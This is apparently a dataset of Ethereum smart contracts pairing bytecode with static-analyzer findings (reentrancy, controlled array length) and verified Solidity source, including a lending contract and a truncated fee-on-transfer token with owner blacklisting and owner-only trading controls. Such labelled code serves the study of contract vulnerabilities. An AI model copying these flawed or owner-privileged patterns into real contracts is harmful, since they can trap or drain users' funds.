0200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc90737c98ebae323504fa7f4a30024c9b7984c960b8b2906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820170b41c925998218d2f8b4175b3d0d68d0004d097b216537fe6063d2af8b371c64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
4,894
0x26063b1f8dd844c07039f3bd172493d9fcfbdbbd
/** *Submitted for verification at Etherscan.io on 2021-09-10 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.4; abstract contract OwnableStatic { mapping( address => bool ) public _isOwner; constructor() { _setOwner(msg.sender, true); } modifier onlyOwner() { require( _isOwner[msg.sender] ); _; } function _setOwner(address newOwner, bool makeOwner) private { _isOwner[newOwner] = makeOwner; // _owner = newOwner; // emit OwnershipTransferred(oldOwner, newOwner); } function setOwnerShip( address newOwner, bool makeOOwner ) external onlyOwner() returns ( bool success ) { _isOwner[newOwner] = makeOOwner; success = true; } } library AddressUtils { function toString (address account) internal pure returns (string memory) { bytes32 value = bytes32(uint256(uint160(account))); bytes memory alphabet = '0123456789abcdef'; bytes memory chars = new bytes(42); chars[0] = '0'; chars[1] = 'x'; for (uint256 i = 0; i < 20; i++) { chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(chars); } function isContract (address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } function sendValue (address payable account, uint amount) internal { (bool success, ) = account.call{ value: amount }(''); require(success, 'AddressUtils: failed to send value'); } function functionCall (address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'AddressUtils: failed low-level call'); } function functionCall (address target, bytes memory data, string memory error) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, error); } function functionCallWithValue (address target, bytes memory data, uint value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'AddressUtils: failed low-level call with value'); } function functionCallWithValue (address target, bytes memory data, uint value, string memory error) internal returns (bytes memory) { require(address(this).balance >= value, 'AddressUtils: insufficient balance for call'); return _functionCallWithValue(target, data, value, error); } function _functionCallWithValue (address target, bytes memory data, uint value, string memory error) private returns (bytes memory) { require(isContract(target), 'AddressUtils: function call to non-contract'); (bool success, bytes memory returnData) = target.call{ value: value }(data); if (success) { return returnData; } else if (returnData.length > 0) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(error); } } } interface IERC20 { event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply () external view returns (uint256); function balanceOf ( address account ) external view returns (uint256); function transfer ( address recipient, uint256 amount ) external returns (bool); function allowance ( address owner, address spender ) external view returns (uint256); function approve ( address spender, uint256 amount ) external returns (bool); function transferFrom ( address sender, address recipient, uint256 amount ) external returns (bool); } library SafeERC20 { using AddressUtils for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev safeApprove (like approve) should only be called when setting an initial allowance or when resetting it to zero; otherwise prefer safeIncreaseAllowance and safeDecreaseAllowance */ function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @notice send transaction data and check validity of return value, if present * @param token ERC20 token interface * @param data transaction data */ function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ILPLeverageLaunch { function isTokenApprovedForLending( address lentToken ) external view returns ( bool ); function amountLoanedForLoanedTokenForLender( address holder, address lentTToken ) external view returns ( uint256 ); function totalLoanedForToken( address lentToken ) external view returns ( uint256 ); function launchTokenDueForHolder( address holder ) external view returns ( uint256 ); function setPreviousDepositSource( address newPreviousDepositSource ) external returns ( bool success ); function priceForLentToken( address lentToken ) external view returns ( uint256 ); function _weth9() external view returns ( address ); function fundManager() external view returns ( address ); function isActive() external view returns ( bool ); function changeActive( bool makeActive ) external returns ( bool success ); function setFundManager( address newFundManager ) external returns ( bool success ); function setWETH9( address weth9 ) external returns ( bool success ); function setPrice( address lentToken, uint256 price ) external returns ( bool success ); function dispenseToFundManager( address token ) external returns ( bool success ); function changeTokenLendingApproval( address newToken, bool isApproved ) external returns ( bool success ); function getTotalLoaned(address token ) external view returns (uint256 totalLoaned); function lendLiquidity( address loanedToken, uint amount ) external returns ( bool success ); function getAmountDueToLender( address lender ) external view returns ( uint256 amountDue ); function lendETHLiquidity() external payable returns ( bool success ); function dispenseToFundManager() external returns ( bool success ); function setTotalEthLent( uint256 newValidEthBalance ) external returns ( bool success ); function getAmountLoaned( address lender, address lentToken ) external view returns ( uint256 amountLoaned ); } contract LPLeverageLaunch is OwnableStatic, ILPLeverageLaunch { using AddressUtils for address; using SafeERC20 for IERC20; mapping( address => bool ) public override isTokenApprovedForLending; mapping( address => mapping( address => uint256 ) ) private _amountLoanedForLoanedTokenForLender; mapping( address => uint256 ) private _totalLoanedForToken; mapping( address => uint256 ) private _launchTokenDueForHolder; mapping( address => uint256 ) public override priceForLentToken; address public override _weth9; address public override fundManager; bool public override isActive; address public previousDepoistSource; modifier onlyActive() { require( isActive == true, "Launch: Lending is not active." ); _; } constructor() {} function amountLoanedForLoanedTokenForLender( address holder, address lentToken ) external override view returns ( uint256 ) { return _amountLoanedForLoanedTokenForLender[holder][lentToken] + ILPLeverageLaunch(previousDepoistSource).amountLoanedForLoanedTokenForLender( holder, lentToken ); } function totalLoanedForToken( address lentToken ) external override view returns ( uint256 ) { return _totalLoanedForToken[lentToken] + ILPLeverageLaunch(previousDepoistSource).totalLoanedForToken(lentToken); } function launchTokenDueForHolder( address holder ) external override view returns ( uint256 ) { return _launchTokenDueForHolder[holder] + ILPLeverageLaunch(previousDepoistSource).launchTokenDueForHolder(holder); } function setPreviousDepositSource( address newPreviousDepositSource ) external override onlyOwner() returns ( bool success ) { previousDepoistSource = newPreviousDepositSource; success = true; } function changeActive( bool makeActive ) external override onlyOwner() returns ( bool success ) { isActive = makeActive; success = true; } function setFundManager( address newFundManager ) external override onlyOwner() returns ( bool success ) { fundManager = newFundManager; success = true; } function setWETH9( address weth9 ) external override onlyOwner() returns ( bool success ) { _weth9 = weth9; success = true; } function setPrice( address lentToken, uint256 price ) external override onlyOwner() returns ( bool success ) { priceForLentToken[lentToken] = price; success = true; } function dispenseToFundManager( address token ) external override onlyOwner() returns ( bool success ) { _dispenseToFundManager( token ); success = true; } function _dispenseToFundManager( address token ) internal { require( fundManager != address(0) ); IERC20(token).safeTransfer( fundManager, IERC20(token).balanceOf( address(this) ) ); } function changeTokenLendingApproval( address newToken, bool isApproved ) external override onlyOwner() returns ( bool success ) { isTokenApprovedForLending[newToken] = isApproved; success = true; } function getTotalLoaned(address token ) external override view returns (uint256 totalLoaned) { totalLoaned = _totalLoanedForToken[token]; } /** * @param loanedToken The address fo the token being paid. Ethereum is indicated with _weth9. */ function lendLiquidity( address loanedToken, uint amount ) external override onlyActive() returns ( bool success ) { require( fundManager != address(0) ); require( isTokenApprovedForLending[loanedToken] ); IERC20(loanedToken).safeTransferFrom( msg.sender, fundManager, amount ); _amountLoanedForLoanedTokenForLender[msg.sender][loanedToken] += amount; _totalLoanedForToken[loanedToken] += amount; _launchTokenDueForHolder[msg.sender] += (amount / priceForLentToken[loanedToken]); success = true; } function getAmountDueToLender( address lender ) external override view returns ( uint256 amountDue ) { amountDue = _launchTokenDueForHolder[lender]; } function lendETHLiquidity() external override payable onlyActive() returns ( bool success ) { _lendETHLiquidity(); success = true; } function _lendETHLiquidity() internal { require( fundManager != address(0), "Launch: fundManager is address(0)." ); _amountLoanedForLoanedTokenForLender[msg.sender][_weth9] += msg.value; _totalLoanedForToken[_weth9] += msg.value; _launchTokenDueForHolder[msg.sender] += msg.value; } function dispenseToFundManager() external override onlyOwner() returns ( bool success ) { payable(fundManager).transfer( _totalLoanedForToken[address(_weth9)] ); delete _totalLoanedForToken[address(_weth9)]; success = true; } function setTotalEthLent( uint256 newValidEthBalance ) external override onlyOwner() returns ( bool success ) { _totalLoanedForToken[address(_weth9)] = newValidEthBalance; success = true; } function getAmountLoaned( address lender, address lentToken ) external override view returns ( uint256 amountLoaned ) { amountLoaned = _amountLoanedForLoanedTokenForLender[lender][lentToken]; } }
0x6080604052600436106101655760003560e01c80638f16e341116100d1578063cdd4eb141161008a578063ed34769a11610064578063ed34769a1461048c578063f087bc67146104ac578063f9a7c207146104e2578063faca12be1461050257600080fd5b8063cdd4eb1414610444578063de218a3414610464578063eb52e9d21461046c57600080fd5b80638f16e3411461034e57806399a98a621461036e578063b71fbe4b1461038e578063bfb2cdcd146103be578063c90c152b14610404578063ca91e18c1461042457600080fd5b80634a501d7d116101235780634a501d7d1461025057806358dc0df3146102705780635f86b0da146102a05780636209ec2d146102d65780637027f3971461030e5780637b5012a11461032e57600080fd5b8062e4768b1461016a5780630230e4121461019f57806310254d35146101bf57806322f3e2d4146101d4578063232a3060146101f557806345625fe914610215575b600080fd5b34801561017657600080fd5b5061018a6101853660046110a0565b610522565b60405190151581526020015b60405180910390f35b3480156101ab57600080fd5b5061018a6101ba36600461101e565b61055e565b3480156101cb57600080fd5b5061018a61058b565b3480156101e057600080fd5b5060075461018a90600160a01b900460ff1681565b34801561020157600080fd5b5061018a61021036600461101e565b610617565b34801561022157600080fd5b5061024261023036600461101e565b60056020526000908152604090205481565b604051908152602001610196565b34801561025c57600080fd5b5061018a61026b36600461106a565b610659565b34801561027c57600080fd5b5061018a61028b36600461101e565b60016020526000908152604090205460ff1681565b3480156102ac57600080fd5b506102426102bb36600461101e565b6001600160a01b031660009081526004602052604090205490565b3480156102e257600080fd5b506007546102f6906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561031a57600080fd5b5061018a61032936600461101e565b6106a6565b34801561033a57600080fd5b5061018a61034936600461106a565b6106e8565b34801561035a57600080fd5b506006546102f6906001600160a01b031681565b34801561037a57600080fd5b5061024261038936600461101e565b610733565b34801561039a57600080fd5b5061018a6103a936600461101e565b60006020819052908152604090205460ff1681565b3480156103ca57600080fd5b506102426103d9366004611038565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041057600080fd5b5061024261041f366004611038565b6107da565b34801561043057600080fd5b5061018a61043f36600461101e565b610897565b34801561045057600080fd5b5061018a61045f3660046110a0565b6108d9565b61018a610a4a565b34801561047857600080fd5b5061018a6104873660046110c9565b610ab9565b34801561049857600080fd5b506008546102f6906001600160a01b031681565b3480156104b857600080fd5b506102426104c736600461101e565b6001600160a01b031660009081526003602052604090205490565b3480156104ee57600080fd5b5061018a6104fd366004611101565b610af7565b34801561050e57600080fd5b5061024261051d36600461101e565b610b34565b3360009081526020819052604081205460ff1661053e57600080fd5b506001600160a01b03909116600090815260056020526040902055600190565b3360009081526020819052604081205460ff1661057a57600080fd5b61058382610bd5565b506001919050565b3360009081526020819052604081205460ff166105a757600080fd5b6007546006546001600160a01b03908116600090815260036020526040808220549051929093169280156108fc02929091818181858888f193505050501580156105f5573d6000803e3d6000fd5b50506006546001600160a01b0316600090815260036020526040812055600190565b3360009081526020819052604081205460ff1661063357600080fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b3360009081526020819052604081205460ff1661067557600080fd5b506001600160a01b03919091166000908152600160208190526040909120805460ff19169215159290921790915590565b3360009081526020819052604081205460ff166106c257600080fd5b50600880546001600160a01b0319166001600160a01b0392909216919091179055600190565b3360009081526020819052604081205460ff1661070457600080fd5b506001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055600190565b600854604051634cd4c53160e11b81526001600160a01b03838116600483015260009216906399a98a629060240160206040518083038186803b15801561077957600080fd5b505afa15801561078d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b19190611119565b6001600160a01b0383166000908152600460205260409020546107d49190611180565b92915050565b60085460405163c90c152b60e01b81526001600160a01b0384811660048301528381166024830152600092169063c90c152b9060440160206040518083038186803b15801561082857600080fd5b505afa15801561083c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108609190611119565b6001600160a01b038085166000908152600260209081526040808320938716835292905220546108909190611180565b9392505050565b3360009081526020819052604081205460ff166108b357600080fd5b50600680546001600160a01b0319166001600160a01b0392909216919091179055600190565b600754600090600160a01b900460ff16151560011461093f5760405162461bcd60e51b815260206004820152601e60248201527f4c61756e63683a204c656e64696e67206973206e6f74206163746976652e000060448201526064015b60405180910390fd5b6007546001600160a01b031661095457600080fd5b6001600160a01b03831660009081526001602052604090205460ff1661097957600080fd5b600754610995906001600160a01b038581169133911685610c81565b3360009081526002602090815260408083206001600160a01b0387168452909152812080548492906109c8908490611180565b90915550506001600160a01b038316600090815260036020526040812080548492906109f5908490611180565b90915550506001600160a01b038316600090815260056020526040902054610a1d90836111a4565b3360009081526004602052604081208054909190610a3c908490611180565b909155506001949350505050565b600754600090600160a01b900460ff161515600114610aab5760405162461bcd60e51b815260206004820152601e60248201527f4c61756e63683a204c656e64696e67206973206e6f74206163746976652e00006044820152606401610936565b610ab3610cf2565b50600190565b3360009081526020819052604081205460ff16610ad557600080fd5b5060078054911515600160a01b0260ff60a01b19909216919091179055600190565b3360009081526020819052604081205460ff16610b1357600080fd5b506006546001600160a01b0316600090815260036020526040902055600190565b600854604051637d65095f60e11b81526001600160a01b038381166004830152600092169063faca12be9060240160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb29190611119565b6001600160a01b0383166000908152600360205260409020546107d49190611180565b6007546001600160a01b0316610bea57600080fd5b6007546040516370a0823160e01b8152306004820152610c7e916001600160a01b0390811691908416906370a082319060240160206040518083038186803b158015610c3557600080fd5b505afa158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611119565b6001600160a01b0384169190610de4565b50565b6040516001600160a01b0380851660248301528316604482015260648101829052610cec9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610e19565b50505050565b6007546001600160a01b0316610d555760405162461bcd60e51b815260206004820152602260248201527f4c61756e63683a2066756e644d616e6167657220697320616464726573732830604482015261149760f11b6064820152608401610936565b3360009081526002602090815260408083206006546001600160a01b0316845290915281208054349290610d8a908490611180565b90915550506006546001600160a01b031660009081526003602052604081208054349290610db9908490611180565b90915550503360009081526004602052604081208054349290610ddd908490611180565b9091555050565b6040516001600160a01b038316602482015260448101829052610e1490849063a9059cbb60e01b90606401610cb5565b505050565b6000610e6e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610eeb9092919063ffffffff16565b805190915015610e145780806020019051810190610e8c91906110e5565b610e145760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610936565b6060610efa8484600085610f02565b949350505050565b6060843b610f665760405162461bcd60e51b815260206004820152602b60248201527f416464726573735574696c733a2066756e6374696f6e2063616c6c20746f206e60448201526a1bdb8b58dbdb9d1c9858dd60aa1b6064820152608401610936565b600080866001600160a01b03168587604051610f829190611131565b60006040518083038185875af1925050503d8060008114610fbf576040519150601f19603f3d011682016040523d82523d6000602084013e610fc4565b606091505b50915091508115610fd8579150610efa9050565b805115610fe85780518082602001fd5b8360405162461bcd60e51b8152600401610936919061114d565b80356001600160a01b038116811461101957600080fd5b919050565b60006020828403121561102f578081fd5b61089082611002565b6000806040838503121561104a578081fd5b61105383611002565b915061106160208401611002565b90509250929050565b6000806040838503121561107c578182fd5b61108583611002565b91506020830135611095816111f0565b809150509250929050565b600080604083850312156110b2578182fd5b6110bb83611002565b946020939093013593505050565b6000602082840312156110da578081fd5b8135610890816111f0565b6000602082840312156110f6578081fd5b8151610890816111f0565b600060208284031215611112578081fd5b5035919050565b60006020828403121561112a578081fd5b5051919050565b600082516111438184602087016111c4565b9190910192915050565b602081526000825180602084015261116c8160408501602087016111c4565b601f01601f19169190910160400192915050565b6000821982111561119f57634e487b7160e01b81526011600452602481fd5b500190565b6000826111bf57634e487b7160e01b81526012600452602481fd5b500490565b60005b838110156111df5781810151838201526020016111c7565b83811115610cec5750506000910152565b8015158114610c7e57600080fdfea264697066735822122098ca6a294720faea73fe220ff7dff4e9e7bea41cde7e20ad682d40c379e9593d64736f6c63430008040033
{"success": true, "error": null, "results": {}}
4,895
0xfbd888349529e3f87c77dffbe2a2bb500f4e02ea
// SPDX-License-Identifier: Unlicensed //https://becauseigothigh.io //https://t.me/BCuzIGotHigh //https://twitter.com/BCuzHigh pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CuzIGotHigh is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CuzIGotHIGH"; string private constant _symbol = "HIGH"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private _removeTxLimit = false; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(!_removeTxLimit){ require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(!_removeTxLimit){ require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, 